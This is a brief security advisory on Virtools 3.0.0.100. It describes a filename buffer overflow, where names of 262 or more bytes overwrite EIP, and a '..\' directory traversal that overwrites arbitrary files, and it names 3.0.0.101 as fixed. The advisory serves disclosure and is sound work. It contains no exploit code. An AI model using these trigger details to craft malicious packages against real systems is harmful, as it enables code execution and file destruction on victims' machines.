Summary
"Virtools is a set of applications for creating games, demos, CAD, simulations and other multimedia stuff."

Virtools does not validate filenames and their length, allowing local attackers to execute arbitrary code using a buffer overflow and a directory traversal vulnerabilities.

Details
Vulnerable Systems:
* Virtools version 3.0.0.100

Immune Systems:
* Virtools version 3.0.0.101

Buffer Overflow:
Exists a buffer-overflow bug which happens during the handling of the names of the files contained in the Virtools packages. A filename of at least 262 bytes overwrites the EIP register allowing possible execution of malicious code.

Directory Traversal:
The plugins files stored in a temporary directory and if already exist files with the same names they are fully overwritten. The problem here is that there are no checks on the filenames so the usage of the classical "..\" patterns allows an attacker to overwrite any file in the disk where is located the system temp folder (usually c:\).
